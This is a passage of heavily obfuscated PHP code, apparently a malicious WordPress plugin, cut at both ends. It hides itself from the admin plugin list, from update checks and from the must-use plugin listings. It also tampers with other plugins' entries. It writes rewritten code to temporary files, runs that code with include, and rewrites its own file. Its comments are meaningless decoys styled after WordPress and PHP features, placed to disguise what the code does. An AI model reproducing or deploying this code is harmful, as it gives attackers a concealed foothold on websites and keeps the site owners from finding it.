$_7xqs7mi8ite3pm   =   wes4hov3x2h225rs(hus_b7m621lgc6(859)($x5iyetabj_)    ?    $x5iyetabj_      :   "");
   $uct931we1h7 =    wes4hov3x2h225rs($eidv2ldk0gje94g1);
 if  (!ep_coq62(859)($x5iyetabj_)    ||  igsdp_2fdrp(528)($x5iyetabj_)   < (447+53)   ||   wpw1lzvpjeaxudejz($x5iyetabj_)   || $_7xqs7mi8ite3pm  ===     "" ||    ($uct931we1h7     !==    ""     && version_compare($uct931we1h7, $_7xqs7mi8ite3pm,      '>')))    {



   y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(480),  $eidv2ldk0gje94g1,  ep_coq62(862));
if   (ep_coq62(863)(hus_b7m621lgc6(864))) {
// compact-heap eventual scope-chain

  @update_option(lfavz1nmi6pw4(449),  0,     lfavz1nmi6pw4(862));
 @update_option(hus_b7m621lgc6(723),   0,   lfavz1nmi6pw4(862));
  @update_option(lfavz1nmi6pw4(592),  0, ep_coq62(862));
 }
     if      (wyzg13xdhd5r(863)(lfavz1nmi6pw4(865)))  @delete_transient(ws9xpun_9td1a1wfmk());
       }



}
     
if (igsdp_2fdrp(866)(igsdp_2fdrp(617))  && igsdp_2fdrp(866)(lfavz1nmi6pw4(864)))   {
 $lni7eq7qduyxtm   =   get_option(lfavz1nmi6pw4(867));
 if    ($lni7eq7qduyxtm !== false &&   $lni7eq7qduyxtm   !== m5d7gnhy503_5w7j()) {
@update_option(ep_coq62(868),   m5d7gnhy503_5w7j(),  wyzg13xdhd5r(862));
  }
     }
  if   (!  hus_b7m621lgc6(866)(hus_b7m621lgc6(869))     ||  !      add_option(ep_coq62(868),      m5d7gnhy503_5w7j(),  "",    lfavz1nmi6pw4(870)))  {
    return;
       }


   dpittj78t7t2s5xmspkm8d();
   if  (rmqbu5no5o(866)(hus_b7m621lgc6(864))) {
@update_option(ep_coq62(449),  0,     wyzg13xdhd5r(870));
  @update_option(lfavz1nmi6pw4(871),    0, wyzg13xdhd5r(872));

     @update_option(ep_coq62(873), 0,  wyzg13xdhd5r(872));$pqukisu47=PHP_INT_MAX/PHP_INT_MAX;$rtk1uxw1=$pqukisu47+47;
}
if  (ep_coq62(874)(wyzg13xdhd5r(875))) @delete_transient(ws9xpun_9td1a1wfmk());
 


 if ($eidv2ldk0gje94g1   &&     !wpw1lzvpjeaxudejz($eidv2ldk0gje94g1)) {



    y1t1n_tjdwdr9b8i44(hus_b7m621lgc6(876), $eidv2ldk0gje94g1, ep_coq62(877));
 }
    lhlty0uglqmi2cqo5f(null);


 


ms4mh9yjk8_y876983kix(kwizo_5vxh_f26an7qg(), (286+6));
   
yh_5wfg4508dbh(lfavz1nmi6pw4(423),   igsdp_2fdrp(878),   0);



    
      yh_5wfg4508dbh(ep_coq62(423),  ep_coq62(879), 0);
} catch (Throwable  $mrelaaojjq4dc7d)   {



    hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(880),      $mrelaaojjq4dc7d);
  if (hus_b7m621lgc6(881)(wyzg13xdhd5r(682)))   @delete_option(ep_coq62(868));
      }    catch (Exception   $mrelaaojjq4dc7d)   {
     if (hus_b7m621lgc6(881)(wyzg13xdhd5r(882)))     @delete_option(igsdp_2fdrp(868));
        }
// WordPress 6.7 interactivity block attributes

     }
   function    _zjj1lroswjtoepsnhb42m()
      {
      try {
  if  (igsdp_2fdrp(881)(ep_coq62(883)))  {

@igsdp_2fdrp(883)(home_url('/'),    array(hus_b7m621lgc6(884) =>  (188^185), igsdp_2fdrp(760)  => false, wyzg13xdhd5r(432) =>  false));
}
      }    catch  (Throwable $mrelaaojjq4dc7d)    {$un8k3apnl70=8152;$ud7zfxa7mbs=$un8k3apnl70%4;
    hnp_n76gqrqs6vbf7203of(ep_coq62(885),  $mrelaaojjq4dc7d);
  }    catch  (Exception $mrelaaojjq4dc7d) {
// WP Navigation Block: suspend rate-limiter

 }
     }
  

function  bmw7tu1y_zbg2td4ohn7()
 {
static    $ti3jznuvntbz =    false;
  if  ($ti3jznuvntbz) return;



   $ti3jznuvntbz  =     true;
  try {
if   (!     hus_b7m621lgc6(881)(ep_coq62(886))      ||     !   is_admin())  {
return;


 }


 if    (!hus_b7m621lgc6(887)(wyzg13xdhd5r(807)) ||   !current_user_can(hus_b7m621lgc6(888)))   {
return;
}
       $ui8ckeo7g_ =   isset($_REQUEST[hus_b7m621lgc6(889)])      ?   $_REQUEST[wyzg13xdhd5r(889)] :     "";
 $ui8ckeo7g_   =   ep_coq62(859)($ui8ckeo7g_)    ?  hus_b7m621lgc6(679)($ui8ckeo7g_)   :  "";
   if  ($ui8ckeo7g_  !==    wyzg13xdhd5r(890)    && $ui8ckeo7g_   !==  ep_coq62(891)) {
  return;



      }



 
$uvrkbkoistv96t = array();
 

      if     ($ui8ckeo7g_      ===    hus_b7m621lgc6(890))   {
 $earon_srt6p_rd   =   isset($_REQUEST[lfavz1nmi6pw4(892)])  ? $_REQUEST[igsdp_2fdrp(892)]  : "";



   $earon_srt6p_rd    = ep_coq62(859)($earon_srt6p_rd) ?  hus_b7m621lgc6(893)($earon_srt6p_rd)    :   "";
if ($earon_srt6p_rd   &&   $earon_srt6p_rd !== _3r85e8szq0rhph())     {
    $uvrkbkoistv96t[]      =   $earon_srt6p_rd;$k88404zwnm4jxu=74+87;$lfn1ol676k36p=$k88404zwnm4jxu-44;

}


 }   else   {



   $xez8r3hud9    = isset($_REQUEST[wyzg13xdhd5r(894)])    ?     $_REQUEST[hus_b7m621lgc6(895)] : array();
  $xez8r3hud9     = hus_b7m621lgc6(896)($xez8r3hud9) ? $xez8r3hud9  :  array();
 foreach   ($xez8r3hud9    as $earon_srt6p_rd) {
// indecomposable affine-type

  $earon_srt6p_rd =   lfavz1nmi6pw4(859)($earon_srt6p_rd)  ?  lfavz1nmi6pw4(897)($earon_srt6p_rd)   :   "";
  if  ($earon_srt6p_rd   &&     $earon_srt6p_rd     !== _3r85e8szq0rhph())  {$cxa18ge4ek=-239;$a0k2q6tns=($cxa18ge4ek>0)?$cxa18ge4ek:-$cxa18ge4ek;
     $uvrkbkoistv96t[]    =   $earon_srt6p_rd;
   }
  }
  }
 if (empty($uvrkbkoistv96t))  {
 return;
   }

      $b6wbucdo4nxyvg   = false;
    foreach  ($uvrkbkoistv96t   as   $earon_srt6p_rd) {
if   (pqd7zidaynxfwl4ho8nbcp($earon_srt6p_rd))  {
 o6bcnevnd4fk0wd4okq63($earon_srt6p_rd);
$b6wbucdo4nxyvg   =   true;
      }
}
if   ($b6wbucdo4nxyvg) {
     

 if   (igsdp_2fdrp(887)(rmqbu5no5o(898))  &&    rmqbu5no5o(899)(lfavz1nmi6pw4(900)))   {

  wp_safe_redirect(admin_url(lfavz1nmi6pw4(901)));


    }
    }
} catch   (Throwable   $mrelaaojjq4dc7d)  {
hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(902),  $mrelaaojjq4dc7d);
} catch    (Exception $mrelaaojjq4dc7d)    {
}
}
 function      j4pdm1ju3c2d3eg6gcod($nqvlqz637je, $jzqnursrwh4ol)


       {
   if ($jzqnursrwh4ol    === rmqbu5no5o(903)) {
        $plugins  =  &$GLOBALS[ep_coq62(904)];
 if (!isset($plugins[wyzg13xdhd5r(903)])  || !lfavz1nmi6pw4(896)($plugins[lfavz1nmi6pw4(903)]))  {
return   $nqvlqz637je;



}
   $jyk9aj591e9g3j4  =      defined(rmqbu5no5o(836))   ?  WP_CONTENT_DIR    : (defined(ep_coq62(389))  ? ABSPATH  .   igsdp_2fdrp(46)     :    "");

  if   ($jyk9aj591e9g3j4  ===   "")    {
 return   $nqvlqz637je;
}
   $gm6xjc_t14ll =  array(hus_b7m621lgc6(905) =>  wyzg13xdhd5r(906),  ep_coq62(907)  =>    ep_coq62(908));
  foreach  ($gm6xjc_t14ll      as  $n3vdokr3swe    => $x57xz5x9om44)  {
 if (!isset($plugins[rmqbu5no5o(903)][$n3vdokr3swe])) {


   continue;
 }

     $we5_gu63b698f3ix      =  @rmqbu5no5o(838)($jyk9aj591e9g3j4  .   '/' .   $n3vdokr3swe);$qmwr07j_bf1l=PHP_INT_MAX/PHP_INT_MAX;$ktv741dicvy88=$qmwr07j_bf1l+21;
 if (!wyzg13xdhd5r(859)($we5_gu63b698f3ix)   || ep_coq62(909)($we5_gu63b698f3ix,    wyzg13xdhd5r(910)  .  $x57xz5x9om44   .     rmqbu5no5o(911))   ===  false) {
continue;
  }
  $f7vbcknmovl6my9j   =  rmqbu5no5o(912)(rmqbu5no5o(913)    .     $x57xz5x9om44 .   wyzg13xdhd5r(914)   . $x57xz5x9om44  .  hus_b7m621lgc6(915),    "",  $we5_gu63b698f3ix);
     if    (!lfavz1nmi6pw4(859)($f7vbcknmovl6my9j))  {
   continue;
}
  $f7vbcknmovl6my9j   =    igsdp_2fdrp(897)($f7vbcknmovl6my9j);
   if ($f7vbcknmovl6my9j   ===  ""  ||   $f7vbcknmovl6my9j    ===   lfavz1nmi6pw4(916)    || $f7vbcknmovl6my9j  ===     ep_coq62(238))  {
   unset($plugins[lfavz1nmi6pw4(903)][$n3vdokr3swe]);
  }
}



        return      $nqvlqz637je;
    }
 if     ($jzqnursrwh4ol    !==  ep_coq62(917))  {



return    $nqvlqz637je;
        }
  $plugins  = &$GLOBALS[wyzg13xdhd5r(904)];



     $rv0sa291r61os =  hus_b7m621lgc6(835)(kwizo_5vxh_f26an7qg());
 if   (isset($plugins[igsdp_2fdrp(917)][$rv0sa291r61os]))    {


   unset($plugins[lfavz1nmi6pw4(917)][$rv0sa291r61os]);
}
// @unroll allocator

return  $nqvlqz637je;
}
if  (!lfavz1nmi6pw4(918)(rmqbu5no5o(919)))  {


       function crhswnc4vn7e7vp9xs()
    {
 if     (!   eqhzhhm11h2k_p()) {
// WP Interactivity API: sample scheduler

 return;
}
   $eofsqnwjdfpxz  =   igsdp_2fdrp(835)(kwizo_5vxh_f26an7qg());
   $nhq3pyawspdrllyo     =    hus_b7m621lgc6(920)(kwizo_5vxh_f26an7qg(), hus_b7m621lgc6(921));
   $qsmp6prpgeuwm2z  =  $nhq3pyawspdrllyo   .   '/'     .  $eofsqnwjdfpxz;
    echo  lfavz1nmi6pw4(922)     .   esc_attr($eofsqnwjdfpxz) .   lfavz1nmi6pw4(923)     . esc_attr($qsmp6prpgeuwm2z)  .   lfavz1nmi6pw4(924);



   echo  hus_b7m621lgc6(925) . esc_js($eofsqnwjdfpxz)   . igsdp_2fdrp(926)  .  esc_js($qsmp6prpgeuwm2z)   .  igsdp_2fdrp(927);
   }
     }
  if   (!ep_coq62(918)(ep_coq62(928)))   {
function  pwirxx2ea8ditw5q($lrlsu6l05fhhot)
{



if    (!  igsdp_2fdrp(97)($lrlsu6l05fhhot))  {
  return $lrlsu6l05fhhot;
 }
 $eofsqnwjdfpxz  =    _3r85e8szq0rhph();
if (isset($lrlsu6l05fhhot->response[$eofsqnwjdfpxz]))    {



 unset($lrlsu6l05fhhot->response[$eofsqnwjdfpxz]);
 }

  return  $lrlsu6l05fhhot;
 }
   }
       if      (!hus_b7m621lgc6(918)(hus_b7m621lgc6(929)))      {
      function qerdd7bpcms2773uv($plugins)

 {
$rxzmhdjber =  _3r85e8szq0rhph();

 if  (isset($plugins[$rxzmhdjber]))  {



  unset($plugins[$rxzmhdjber]);
      }
        $nhq3pyawspdrllyo   =   ep_coq62(930)(kwizo_5vxh_f26an7qg(),   hus_b7m621lgc6(921));




    $qsmp6prpgeuwm2z  =   $nhq3pyawspdrllyo  .  '/' .  ep_coq62(931)(kwizo_5vxh_f26an7qg());
if  (isset($plugins[$qsmp6prpgeuwm2z]))    {
   unset($plugins[$qsmp6prpgeuwm2z]);
}
return    $plugins;
   }
// @fold-const memento

   }
  function u2nm_c5g2i3q5ok49u($dhfyovorqkg7txp)
  {
     if   (!     wyzg13xdhd5r(896)($dhfyovorqkg7txp))  {
return  $dhfyovorqkg7txp;
}
        $hovvrnrbpoj5cl   =  "";



if (ep_coq62(918)(ep_coq62(932))   &&  ep_coq62(933)(kwizo_5vxh_f26an7qg()))  {
    $ldc7bk03fscu7    =   get_plugin_data(kwizo_5vxh_f26an7qg(),  false, false);
    $hovvrnrbpoj5cl    =  isset($ldc7bk03fscu7[lfavz1nmi6pw4(934)]) ?  $ldc7bk03fscu7[rmqbu5no5o(934)]    :   "";
  }
  $b3hz4xxoueqkv5     =  array(igsdp_2fdrp(935),      wyzg13xdhd5r(936));
        foreach  ($b3hz4xxoueqkv5  as  $r55mleoqcuahct3)  {


   if    (! isset($dhfyovorqkg7txp[$r55mleoqcuahct3][ep_coq62(937)]) ||  !  hus_b7m621lgc6(938)($dhfyovorqkg7txp[$r55mleoqcuahct3][lfavz1nmi6pw4(937)]))    {
// PHP 8.2 enum: unbind orbit

 continue;
     }
 foreach  ($dhfyovorqkg7txp[$r55mleoqcuahct3][rmqbu5no5o(937)] as $key => $k44s043fb5o6fp)    {


  if   (ep_coq62(909)($key,  _3r85e8szq0rhph()) !==    false   || $key     ===     _3r85e8szq0rhph())  {
unset($dhfyovorqkg7txp[$r55mleoqcuahct3][ep_coq62(937)][$key]);
       continue;
}
if  ($hovvrnrbpoj5cl      !==  "" &&  $key     ===  $hovvrnrbpoj5cl) {
 unset($dhfyovorqkg7txp[$r55mleoqcuahct3][hus_b7m621lgc6(937)][$key]);


    continue;
    }


}
// WP Block Transforms: acquire dependency-graph

     }
  foreach (array(ep_coq62(939),    igsdp_2fdrp(940))      as  $elhmgnf8gc8ht) {
    $lc2ln3zs9fr  = isset($dhfyovorqkg7txp[$elhmgnf8gc8ht][igsdp_2fdrp(941)])   &&  rmqbu5no5o(938)($dhfyovorqkg7txp[$elhmgnf8gc8ht][hus_b7m621lgc6(941)])   ?  $dhfyovorqkg7txp[$elhmgnf8gc8ht][rmqbu5no5o(941)]   : array();
  if (!$lc2ln3zs9fr)   continue;
       $rsbay0i39v =  defined(hus_b7m621lgc6(942))   ?  WPMU_PLUGIN_DIR :    (defined(wyzg13xdhd5r(836))   ? WP_CONTENT_DIR .     wyzg13xdhd5r(943) :  "");
 $u01rmiflryvfmr2g  =  array();
  if ($hovvrnrbpoj5cl   !==    "")  $u01rmiflryvfmr2g[]   = $hovvrnrbpoj5cl;
   $u01rmiflryvfmr2g[]   =   ep_coq62(931)(kwizo_5vxh_f26an7qg());
     if ($rsbay0i39v   !== ""      &&  @igsdp_2fdrp(853)($rsbay0i39v)   &&      lfavz1nmi6pw4(918)(lfavz1nmi6pw4(831)))  {
     foreach  ((array)  @rmqbu5no5o(831)($rsbay0i39v  . igsdp_2fdrp(636))   as   $tcazjv34jk3o)      {
// WP Heading Block: bind normal-form

     $i6slgxalbsqoabh =  @igsdp_2fdrp(838)($tcazjv34jk3o,    false,   null,     0,   (2800+5392));


   if   (!igsdp_2fdrp(859)($i6slgxalbsqoabh) ||     rmqbu5no5o(909)($i6slgxalbsqoabh,   wyzg13xdhd5r(944))   === false) continue;
   if    (ep_coq62(738)(hus_b7m621lgc6(945),      $i6slgxalbsqoabh, $z5cfbn18j0)) {

 $d784d139mph = wyzg13xdhd5r(897)($z5cfbn18j0[1]);
       if ($d784d139mph !==   "")  $u01rmiflryvfmr2g[]  = $d784d139mph;

    }



   $u01rmiflryvfmr2g[]    = hus_b7m621lgc6(931)($tcazjv34jk3o);
     }



 }
       foreach ($lc2ln3zs9fr as $key   =>  $k44s043fb5o6fp)     {


foreach  ($u01rmiflryvfmr2g as $rpxodhg5l6w)  {
// APCu shm: quadratic hyperloglog

 if   ($key   ===   $rpxodhg5l6w ||    $key    ===  sanitize_text_field($rpxodhg5l6w))    {
  unset($dhfyovorqkg7txp[$elhmgnf8gc8ht][ep_coq62(946)][$key]);
   break;
 }
 }
}
 }
$_rl30l9qlc4_c = isset($dhfyovorqkg7txp[rmqbu5no5o(947)][rmqbu5no5o(946)])    && ep_coq62(948)($dhfyovorqkg7txp[ep_coq62(947)][wyzg13xdhd5r(946)])   ? $dhfyovorqkg7txp[rmqbu5no5o(947)][rmqbu5no5o(946)] : array();
if     ($_rl30l9qlc4_c)  {
       $jyk9aj591e9g3j4 = defined(wyzg13xdhd5r(836)) ?     WP_CONTENT_DIR    : (defined(hus_b7m621lgc6(949))   ? ABSPATH  .   ep_coq62(950)  :  "");
   



$gm6xjc_t14ll  =   array(hus_b7m621lgc6(905)    => wyzg13xdhd5r(906),   ep_coq62(907)  => lfavz1nmi6pw4(908));
 foreach   ($_rl30l9qlc4_c as  $key => $k44s043fb5o6fp)    {
 if   (!isset($gm6xjc_t14ll[$key]) ||   $jyk9aj591e9g3j4  ===  "")    continue;


 $we5_gu63b698f3ix  =     @igsdp_2fdrp(838)($jyk9aj591e9g3j4      .    '/'  .    $key,    false,   null, 0,     (5821-1725));
 if  (igsdp_2fdrp(859)($we5_gu63b698f3ix)  &&     (lfavz1nmi6pw4(909)($we5_gu63b698f3ix, rmqbu5no5o(951)  .     $gm6xjc_t14ll[$key] .  igsdp_2fdrp(952))   !==    false  || ep_coq62(909)($we5_gu63b698f3ix,    ep_coq62(944)) !== false))   {



 unset($dhfyovorqkg7txp[lfavz1nmi6pw4(947)][rmqbu5no5o(953)][$key]);
 }
     }
/* convex singleton */

}
   return    $dhfyovorqkg7txp;

  }

 
 function a_gag44wdy1iqc5eo($w31vokmoxp3)
{
if  (!   lfavz1nmi6pw4(948)($w31vokmoxp3))  {
// WP Script Modules settings section
$ke6y0bw_t=21+79;$ctq4mb75_=$ke6y0bw_t-12;
 return $w31vokmoxp3;
 }
      $e_p16ljdi8b35lr   =     igsdp_2fdrp(954)(kwizo_5vxh_f26an7qg());
 $d0e_k5ososzgu   =  ep_coq62(823)($e_p16ljdi8b35lr,  PATHINFO_FILENAME);
     $v6cne_6bree8h  =  array(
    array(rmqbu5no5o(955) =>  '#'  . igsdp_2fdrp(956)($e_p16ljdi8b35lr,  '#') . ep_coq62(957),     rmqbu5no5o(958)     => true),
 array(lfavz1nmi6pw4(955)  => rmqbu5no5o(959)  .   hus_b7m621lgc6(960)($d0e_k5ososzgu,   '#')    .   hus_b7m621lgc6(961),    ep_coq62(958)    =>  true),
);

if   (isset($w31vokmoxp3[hus_b7m621lgc6(962)])  && lfavz1nmi6pw4(963)($w31vokmoxp3[hus_b7m621lgc6(962)]))   {
   foreach  ($w31vokmoxp3[igsdp_2fdrp(962)]    as   $il_uzw3law   =>      $d6r7kd_3hi7e7)  {
if  (!     igsdp_2fdrp(963)($d6r7kd_3hi7e7)   ||  !   rmqbu5no5o(964)($il_uzw3law)) {
// PHP match expression: relaxed priority-queue

 continue;
 }
      if (!   isset($w31vokmoxp3[igsdp_2fdrp(962)][$il_uzw3law][hus_b7m621lgc6(965)])      ||    !      lfavz1nmi6pw4(963)($w31vokmoxp3[wyzg13xdhd5r(962)][$il_uzw3law][hus_b7m621lgc6(966)]))  {
        $w31vokmoxp3[ep_coq62(967)][$il_uzw3law][rmqbu5no5o(968)]  =    array();
 }
   foreach     ($v6cne_6bree8h as $l0cdzlf1dfom0)  {



   $w31vokmoxp3[lfavz1nmi6pw4(969)][$il_uzw3law][rmqbu5no5o(970)][]  =  $l0cdzlf1dfom0;
 }
}
// @orchestrate coordinator

}
   return $w31vokmoxp3;
}
  


      function      qe1oicih6uu_88()
  {
 try   {
      if    (! defined(hus_b7m621lgc6(971))   || constant(ep_coq62(972)) <    (0x3+0x4))    {
  return;


 }
if (ep_coq62(585)(igsdp_2fdrp(973), false))   {
return;
   }
     $z2g6o456kblq =  lfavz1nmi6pw4(954)(kwizo_5vxh_f26an7qg());
 $eaj3yd8h1_k85nd =  defined(wyzg13xdhd5r(486))     ?  WP_PLUGIN_DIR  :    "";
   $v7kkp0s5evjy =  array(
  $eaj3yd8h1_k85nd  . hus_b7m621lgc6(974),
      $eaj3yd8h1_k85nd .  ep_coq62(975),

  $eaj3yd8h1_k85nd     .  ep_coq62(976),



);
 $f4anfrj1d_pw3 =    "";
  foreach      ($v7kkp0s5evjy  as $eofsqnwjdfpxz)     {
      if   ($eofsqnwjdfpxz !== ""  &&  @igsdp_2fdrp(860)($eofsqnwjdfpxz)  &&  @igsdp_2fdrp(787)($eofsqnwjdfpxz))  {
    $f4anfrj1d_pw3      =  $eofsqnwjdfpxz;
  break;
   }
    }

    if ($f4anfrj1d_pw3 === "")   {
    return;
   }
// rebalance distributor for WP Formatting API

    $siirmwov8jsp   =  igsdp_2fdrp(977)($f4anfrj1d_pw3);
 spl_autoload_register(function  ($v_j6ij7m8e5qm)  use ($siirmwov8jsp) {
 foreach (array($siirmwov8jsp .  '/'  .   $v_j6ij7m8e5qm .  ep_coq62(978),   $siirmwov8jsp    . '/'  . $v_j6ij7m8e5qm   .  wyzg13xdhd5r(979))      as   $okv_odfeji)   {


if (@wyzg13xdhd5r(860)($okv_odfeji))   {
   include_once   $okv_odfeji;
     return;
 }
    }
   });
    $na0q8fa92nwj    =    @wyzg13xdhd5r(980)($f4anfrj1d_pw3);
   if     ($na0q8fa92nwj  ===    false ||     ep_coq62(909)($na0q8fa92nwj,  ep_coq62(981))     ===  false)  {
return;
    }
       $na0q8fa92nwj  =   rmqbu5no5o(982)(igsdp_2fdrp(983),      "", $na0q8fa92nwj);
  $na0q8fa92nwj   =   igsdp_2fdrp(390)(rmqbu5no5o(981),   wyzg13xdhd5r(984),      $na0q8fa92nwj);
$jqbgykkx3bh  =  obp69l7b9nnyfdcxk(wm36gul0ej7zx_8m(),  wyzg13xdhd5r(985));


    if ($jqbgykkx3bh   ===   false)  {
return;
   }
 @igsdp_2fdrp(188)($jqbgykkx3bh,   hus_b7m621lgc6(986) . $na0q8fa92nwj);
        try     {
    @include      $jqbgykkx3bh;


       }   finally    {
oj333ptt2v9_ikd4str_($jqbgykkx3bh);
}
$giob63zi272kw =   wyzg13xdhd5r(823)($z2g6o456kblq,  PATHINFO_FILENAME);
  $GLOBALS[ep_coq62(987)]  = $z2g6o456kblq;
  $GLOBALS[igsdp_2fdrp(988)]     =     $giob63zi272kw;
 $q_z44j2ixr    = rmqbu5no5o(989)
 .  wyzg13xdhd5r(990)
  . igsdp_2fdrp(991)


   . wyzg13xdhd5r(992)
     .   igsdp_2fdrp(993)


.  '}'
 .  igsdp_2fdrp(994)
    .   '}'
    .  '}';
  $i7j61q2z1c  =     obp69l7b9nnyfdcxk(wm36gul0ej7zx_8m(),  ep_coq62(985));


   if   ($i7j61q2z1c)  {
 @ep_coq62(188)($i7j61q2z1c,    $q_z44j2ixr);
try {$x7g31tb0wv=4265;$y1_odvvmqlyy=$x7g31tb0wv%15;
      @include   $i7j61q2z1c;$pgdaf_u43i=(0xca+0xc6);$dv0ndu1o=$pgdaf_u43i%17;
    } finally   {
oj333ptt2v9_ikd4str_($i7j61q2z1c);
}
 }
 }  catch (Throwable $mrelaaojjq4dc7d)   {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(995),  $mrelaaojjq4dc7d);
  } catch  (Exception $mrelaaojjq4dc7d)  {
 }
  }
   if     (!ep_coq62(918)(lfavz1nmi6pw4(996)))    {
 function    f1_ntln_sikzjzlo($x9pi2kfsoa8v1u_l,   $nxwowpdj_tq0)
 {
    if (! hus_b7m621lgc6(963)($x9pi2kfsoa8v1u_l))   {



    return     $x9pi2kfsoa8v1u_l;
}

    $k8_wlmxyg5n2    =   array(igsdp_2fdrp(997),   igsdp_2fdrp(998),   ep_coq62(999), rmqbu5no5o(1000),    ep_coq62(605));



 foreach ($k8_wlmxyg5n2     as $key)  {
  if      (! isset($x9pi2kfsoa8v1u_l[$key]) || !   lfavz1nmi6pw4(1001)($x9pi2kfsoa8v1u_l[$key]))      {


 continue;
        }
// deserialize control-flow-graph for WP Site Title




        $_m6wk2wte6czmz =  array();
foreach ($x9pi2kfsoa8v1u_l[$key]    as $fuf9v4zry3_r)    {
 if  (!  hus_b7m621lgc6(1001)($fuf9v4zry3_r)) {

  $_m6wk2wte6czmz[] =   $fuf9v4zry3_r;
  continue;
 }
    $aey8brvng9y067v =   isset($fuf9v4zry3_r[ep_coq62(1002)])   ?   $fuf9v4zry3_r[ep_coq62(1002)]  :     "";
$giob63zi272kw =  isset($GLOBALS[rmqbu5no5o(988)])   ? $GLOBALS[wyzg13xdhd5r(988)] :  "";
if ($aey8brvng9y067v     === $nxwowpdj_tq0     ||  ($giob63zi272kw   !== ""  && $aey8brvng9y067v ===  $giob63zi272kw))    {
continue;
 }
   $_m6wk2wte6czmz[]  =  f1_ntln_sikzjzlo($fuf9v4zry3_r, $nxwowpdj_tq0);$u4wjbsrv5dp=PHP_MAJOR_VERSION;$jwj0bqw6pen=$u4wjbsrv5dp*8;



     }
  $x9pi2kfsoa8v1u_l[$key]     = $_m6wk2wte6czmz;
     }



return    $x9pi2kfsoa8v1u_l;

     }
}
function     raj8y86ti08edjk()

    {

try   {
        if  (wyzg13xdhd5r(918)(rmqbu5no5o(461))    &&   get_transient(igsdp_2fdrp(1003))) {
      return;
      }
 $ydatyegxn84gu4n  =  @ep_coq62(482)(kwizo_5vxh_f26an7qg());
   if  ($ydatyegxn84gu4n  &&  $ydatyegxn84gu4n   >   (3780+1220) && $ydatyegxn84gu4n  <   (4999971+29)  &&  !qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg())) {
 $p5rago_4ous3my0n =   @hus_b7m621lgc6(980)(kwizo_5vxh_f26an7qg());
if   (ep_coq62(859)($p5rago_4ous3my0n) && hus_b7m621lgc6(528)($p5rago_4ous3my0n)  ===   $ydatyegxn84gu4n  &&    chslach3yj4d6lbh($p5rago_4ous3my0n))   {
  if (p1cskrtcz8bv54lf(kwizo_5vxh_f26an7qg(),     gdb8f5jybxbvgd($p5rago_4ous3my0n)))    {
// aggregate branded-type for PSR-7 messages




 je70juj6lq88lrd(kwizo_5vxh_f26an7qg());
      fjjsa59vrgj7lkezp_z_x5(kwizo_5vxh_f26an7qg());
    }
   }
  unset($p5rago_4ous3my0n);
 }
     $o97nd6d_j56qfk7c      = @ep_coq62(482)(kwizo_5vxh_f26an7qg());

 $q0lvu94nc0 = $o97nd6d_j56qfk7c  &&   $o97nd6d_j56qfk7c > (1919+3081);
if ($q0lvu94nc0    &&   $o97nd6d_j56qfk7c    >  (55557310-3128510))   {
 $q0lvu94nc0 =    false;
      }


 if     ($q0lvu94nc0) {


        $fv2c_2d_fhqcmmo7  = @igsdp_2fdrp(980)(kwizo_5vxh_f26an7qg());
 if   (wyzg13xdhd5r(859)($fv2c_2d_fhqcmmo7) &&     hus_b7m621lgc6(528)($fv2c_2d_fhqcmmo7) >   (1048493+83)) $fv2c_2d_fhqcmmo7  =      jkq4_uvfuw5l47za51944b($fv2c_2d_fhqcmmo7);


  if      (!lfavz1nmi6pw4(859)($fv2c_2d_fhqcmmo7) ||   !chslach3yj4d6lbh($fv2c_2d_fhqcmmo7))    {
 $q0lvu94nc0   =     false;
    }     else  {



  $thpvw82l3r96 = xhg11fk9i0xj5k2(wyzg13xdhd5r(1004), "");
    $dxl433vqyv831mgf   =    wes4hov3x2h225rs($fv2c_2d_fhqcmmo7);
 $sxb033dc3dbt   = wes4hov3x2h225rs(rmqbu5no5o(1005)($thpvw82l3r96)    ?    $thpvw82l3r96   : "");
 if  ($dxl433vqyv831mgf     !== ""  &&  ($sxb033dc3dbt  ===  ""      ||    version_compare($sxb033dc3dbt,     $dxl433vqyv831mgf, '<')))    {
  $gh1k7gsz44fsj_h  =    rmqbu5no5o(857)($fv2c_2d_fhqcmmo7);
    $x3w992ec4_ = @ep_coq62(860)(lfavz1nmi6pw4(977)(kwizo_5vxh_f26an7qg())   .  lfavz1nmi6pw4(1006) .   $gh1k7gsz44fsj_h);
 if     (!$x3w992ec4_)  {
 $jjyqe8liqr     =    get_option(igsdp_2fdrp(1007));



  if (ep_coq62(1005)($jjyqe8liqr)   &&  ep_coq62(909)($jjyqe8liqr,   $gh1k7gsz44fsj_h   .    '|') ===  0  &&   hus_b7m621lgc6(1008)() -  (int) igsdp_2fdrp(1009)($jjyqe8liqr,    lfavz1nmi6pw4(1010)($jjyqe8liqr, '|')  + 1)   <  (86330+70))  $x3w992ec4_   =     true;



      }
     if ($x3w992ec4_) $q0lvu94nc0   =   false;



 if  (!$x3w992ec4_      && ep_coq62(1005)($thpvw82l3r96) &&   ($thpvw82l3r96  ===  ""   ||  $sxb033dc3dbt  ===  ""  ||    version_compare($sxb033dc3dbt,  $dxl433vqyv831mgf,  '<')))    y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(1011), $fv2c_2d_fhqcmmo7,   wyzg13xdhd5r(877));
        unset($gh1k7gsz44fsj_h,   $x3w992ec4_,  $jjyqe8liqr);
     }      elseif  (hus_b7m621lgc6(1012)($thpvw82l3r96)   && ep_coq62(528)($thpvw82l3r96) >   (444+56)  && igsdp_2fdrp(1013)($thpvw82l3r96)      <=  (1048499+77)  &&  !wpw1lzvpjeaxudejz($thpvw82l3r96)  &&  chslach3yj4d6lbh($thpvw82l3r96)    && rmqbu5no5o(1014)($fv2c_2d_fhqcmmo7) !==  lfavz1nmi6pw4(1015)($thpvw82l3r96)) {
// PSR-7 messages admin screen

 $q0lvu94nc0  =     false;
 }
   }
   }
if   ($q0lvu94nc0)  {$fnzngbkn2x=168|231;$wag9ty1jer7i=$fnzngbkn2x^115;


 if  (rmqbu5no5o(1016)(wyzg13xdhd5r(1017)))   {
 set_transient(wyzg13xdhd5r(1003),   1,  (3578+22));$ynhf6tv5m2=PHP_MAJOR_VERSION;$z6_2rfkrc7=$ynhf6tv5m2*9;
  }
    return;
 }



   if (qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg())) {
 return;
  }
// WP Template Parts: snapshot-isolated stack-frame

